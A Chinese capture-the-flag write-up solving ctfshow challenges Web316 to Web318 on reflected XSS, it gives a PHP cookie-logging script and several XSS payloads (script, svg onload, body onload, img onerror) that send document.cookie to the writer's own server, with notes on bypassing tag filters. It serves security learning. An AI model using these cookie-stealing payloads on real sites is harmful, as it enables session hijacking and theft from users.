ctfshow(316,317,318)--XSS漏洞--反射性XSS

反射型XSS相关知识

Web316

进入界面:

审计

显示是关于反射性XSS的题目。

思路

首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。

当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。

但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。

于是我们使用稳定性更高的方法:写js代码将cookie传到自己的服务器上。

先在服务器写一个php文件:

php 复制代码
//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

然后在靶机中传入如下代码:

php 复制代码
<script>location.href="http://[自己服务器的IP]/flag.php?cookie="+document.cookie</script>

提交之后成功跳转到自己的网页。

查看自己服务器中的cookie.txt文件,得到flag。

Web317

界面与上一题相同。

但是过滤了<script>,大小写混写也不能使用。

考虑使用HTML的其他标签。

这道题我们使用<svg>与onload属性

php 复制代码
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//svg 是用于绘图的标签
//onload事件 是页面加载成功后执行的事件

得到flag.

其他形式的payload:

php 复制代码
//body标签也支持onload事件
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

//img标签支持onerror属性。当图片加载发生了错误,就会触发该事件
<img src='#' onerror="window.location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

Web318

和上一题相同,不过多过滤了img标签。

使用body或者svg标签即可。

php 复制代码
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

相关推荐
jieyu11191 小时前
Python 实战:Web 漏洞 Python POC 代码及原理详解(1)
python·web安全
帅次3 小时前
系统分析师-信息安全-信息系统安全体系&数据安全与保密
安全·web安全·网络安全·系统安全·密码学·安全威胁分析·安全架构
xixixi7777715 小时前
信息安全和网络安全的区分在哪
网络·安全·web安全·信息安全
b0uu1 天前
2025高校网络安全管理运维赛决赛-取证赛道
安全·web安全
white-persist1 天前
社会工程学全解析:从原理到实战
网络·安全·web安全·网络安全·信息可视化·系统安全·1024程序员节
介一安全1 天前
【Web安全】OAuth2.0框架高频安全漏洞分析总结
web安全·网络安全·安全性测试
芯盾时代1 天前
低空经济网络安全的政策体系构建
安全·web安全·网络安全·低空经济
墨燃.1 天前
江西省第二届职业技能大赛网络安全赛题 应急响应
安全·web安全
光影少年1 天前
前端线上出现白屏如何排查问题所在,利用第三方的工具都有哪些
前端·学习·web安全·前端框架
王火火(DDoS CC防护)1 天前
如何判断服务器是否遭受攻击?
服务器·web安全·网络安全·ddos攻击